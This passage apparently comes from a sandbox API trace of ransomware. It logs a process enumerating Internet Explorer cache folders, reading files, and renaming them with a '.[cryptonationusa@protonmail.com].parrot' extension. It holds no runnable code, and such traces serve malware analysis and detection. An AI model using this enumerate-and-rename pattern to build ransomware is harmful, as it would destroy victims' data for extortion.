ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb2e0 | out: hHeap=0x5b0000) returned 1 [0076.534] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0076.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc9d8 | out: hHeap=0x5b0000) returned 1 [0076.534] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8NES5H33", cAlternateFileName="")) returned 1 [0076.535] lstrcmpW (lpString1="8NES5H33", lpString2=".") returned 1 [0076.535] lstrcmpW (lpString1="8NES5H33", lpString2="..") returned 1 [0076.535] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.535] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.535] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.535] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.535] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.535] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d941010, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x0, cFileName="get.adobe[1].xml", cAlternateFileName="GETADO~1.XML")) returned 1 [0076.535] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0076.535] CloseHandle (hObject=0x264) returned 1 [0076.536] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d941010, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x0, cFileName="get.adobe[1].xml", cAlternateFileName="GETADO~1.XML")) returned 0 [0076.536] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.536] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.536] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d941010, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x0, cFileName="get.adobe[1].xml", cAlternateFileName="GETADO~1.XML")) returned 1 [0076.536] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.536] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.536] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.536] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.536] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.537] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.537] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.537] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.537] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb2e0 | out: hHeap=0x5b0000) returned 1 [0076.537] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0076.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc9d8 | out: hHeap=0x5b0000) returned 1 [0076.537] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x125db390, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0076.537] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWLVMZRC", cAlternateFileName="")) returned 1 [0076.537] lstrcmpW (lpString1="OWLVMZRC", lpString2=".") returned 1 [0076.537] lstrcmpW (lpString1="OWLVMZRC", lpString2="..") returned 1 [0076.537] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.538] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.538] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.538] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.538] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.538] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.538] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.538] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.538] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb2e0 | out: hHeap=0x5b0000) returned 1 [0076.538] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0076.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc9d8 | out: hHeap=0x5b0000) returned 1 [0076.538] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWLVMZRC", cAlternateFileName="")) returned 0 [0076.540] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0076.540] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.541] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3LKBQZJ3", cAlternateFileName="")) returned 1 [0076.541] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8NES5H33", cAlternateFileName="")) returned 1 [0076.541] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FKLUIDU0", cAlternateFileName="")) returned 1 [0076.541] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x125db390, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0076.541] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWLVMZRC", cAlternateFileName="")) returned 1 [0076.541] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWLVMZRC", cAlternateFileName="")) returned 0 [0076.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aab48 | out: hHeap=0x5b0000) returned 1 [0076.541] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0076.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aaa90 | out: hHeap=0x5b0000) returned 1 [0076.541] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x65d58120, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65d58120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65d58120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x23f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="frameiconcache.dat", cAlternateFileName="FRAMEI~1.DAT")) returned 1 [0076.544] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.544] ReadFile (in: hFile=0x26c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0076.546] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.546] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x23f4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x23f4, lpOverlapped=0x0) returned 1 [0076.547] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.548] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\frameiconcache.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\frameiconcache.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\frameiconcache.dat.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\frameiconcache.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aa860 | out: hHeap=0x5b0000) returned 1 [0076.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8620 | out: hHeap=0x5b0000) returned 1 [0076.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317a098 | out: hHeap=0x5b0000) returned 1 [0076.551] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.551] ReadFile (in: hFile=0x26c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0076.552] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.553] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x4000, lpOverlapped=0x0) returned 1 [0076.553] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.554] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\msimgsiz.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\msimgsiz.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b6c0 | out: hHeap=0x5b0000) returned 1 [0076.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8620 | out: hHeap=0x5b0000) returned 1 [0076.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3162050 | out: hHeap=0x5b0000) returned 1 [0076.557] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0076.557] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.557] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6db5fbe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6db5fbe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.557] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.557] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.557] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed70f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bc84b10, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bc84b10, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active", cAlternateFileName="")) returned 1 [0076.557] lstrcmpW (lpString1="Active", lpString2=".") returned 1 [0076.557] lstrcmpW (lpString1="Active", lpString2="..") returned 1 [0076.557] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.557] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.558] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed70f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bc84b10, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bc84b10, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.559] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.559] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.559] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed70f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bc84b10, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bc84b10, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0076.559] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.559] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: 